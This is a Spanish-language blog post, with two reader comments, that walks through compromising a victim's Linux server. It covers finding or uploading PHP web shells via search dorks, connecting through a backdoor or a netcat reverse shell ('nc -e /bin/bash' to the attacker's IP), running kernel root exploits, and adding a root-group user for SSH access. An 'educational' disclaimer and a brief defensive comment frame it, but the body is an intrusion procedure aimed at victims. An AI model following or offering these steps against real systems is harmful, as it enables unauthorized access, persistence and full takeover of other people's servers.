Obteniendo privilegios de root

Nota: Este post a sido publicado con fines educativos y no me responsabilizo el uso que el lector le de a este post.

Este post puede ser de utilidad a los programadores de php y administradores de servicios para evitar exploits y vulnerabilidades en programas, interfaces o como les quieran llamar elaborados en PHP.

Bueno entremos en materia:

Para obtener un acceso debemos tomar en cuenta los siguientes pasos.

  • Conseguir una Shell php.
  • Conectar a servidor de la víctima
  • Consiguiendo y utilizando un exploit para la versión de kernel que está corriendo en el servidor
  • Agregar usuario con privilegios de root para acceder vía SSH
  • Conseguir una shell con php
    Una shell php es un script que nos deja ejecutar comandos como en una shell física. Los comandos disponibles son únicamente los comandos que a puesto a disposición el programador, lo quiero decir que una consola php es únicamente una consola de texto.
    Para obtener una consola podemos hacerlo de dos formas ” Subir una shell php aprovechando una vulnerabilidad” ” Buscar una que ya este disponible en el servidor”; algo muy importante es que la maquina víctima debe tener el php Safe mode apagado, para encontrar shells con el Safe mode apagado podemos utilizar un buscador que lo mas utilizado es google, una ayuda para la busqueda.

    “Safe mode: OFF”
    “Safe mode: OFF (Not secure)”

    Ojo que la ayuda que les proporcione debe ser introducida tal y como se encuentra escrito con todo y las ” esto ayuda a restringir la búsqueda y con nos muestre tanta basura.

    Con el comando uname podemos ver que S.O. está corriendo en el sistema cualquier resultado distinto de Linux no nos sirve.
    La shell que encontremos debe tener la posibilidad de ejecutar binarios y subir archivos a través de wget.

    Conectar al servidor de la víctima

    Lo que debemos hacer una vez ya tengamos la shell lo debemos hacer es ejecutar exploits para ganar permisos de root, lo cual podemos hacer de dos formas, la primera es utilizando un backdoor que es una especie de troyano que se encuentra a la escucha de cierto puerto, para esto podemos probar con el r0nin al ejecutar el backdoor se instala en el puerto 1666, luego de subirlo lo ejecutamos lo cual no voy a precisar como se hace porque este post está escrito para personas que cuentan con conocimientos de Linux.

    Luego de haber ejecutado el backdoor probamos si podemos tener acceso al servidor con netcat para hacer esto debemos escribir en la consola:

    nc [IP_Víctima] 1666

    Si te aparece la shell de la víctima ya no necesitas seguir probando y puedes seguir con el siguiente paso, de lo contrario el segundo método es el conexión inversa y lo que hacemos con esto es que ponemos nuestra maquina para que quede a la escucha de cualquier conexión.

    En nuestra maquina nc -l -n -v -p 31337, en la maquina de la víctima debemos escribir lo siguiente nc -e /bin/bash [nuestraip] 31337, como se podrán dar cuenta necesitamos tener un ip publico en nuestra maquina para que se pueda dar la conexión, ya con esto debemos tener la shell que encestábamos.

    Consiguiendo y utilizando un rootexploit para la versión de Kernel la maquina víctima

    Ahora debemos buscar obtener permisos de root en la maquina para lo que debemos utilizar rootexploit para el kernel de la víctima los cuales podemos encontrar en link ya subiendo los exploits y una vez probados debemos escribir el siguiente comando id para corroborar si somos root. Una vez seamos root creamos un usuario que sea parte del grupo de root para poder accesar vía SSH y hacer lo que quieras en el servidor.

    Si deseas entrar mas en detalle dejo la bibliografía donde lo explican con mas detalle.

    Vía http://www.sarckz.com.ar/2007/06/09/rooteando-un-servidor-con-gnulinux/

    3 comentarios sobre “Obteniendo privilegios de root

    • el 2007/07/04 a las 8:53 pm
      Permalink

      y si uno es el administrador de un servidor, como puede protegerse de estos ataques?

      Respuesta
    • el 2007/07/05 a las 9:13 am
      Permalink

      @tomson Lo mas importante es que revises tu programación de php para que no permita lo de las shells y estar pendiente de cualquier exploit de seguridad que surja para actualizar y no tener ninguna vulnerabilidad.

      Respuesta

    Deja un comentario

    Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *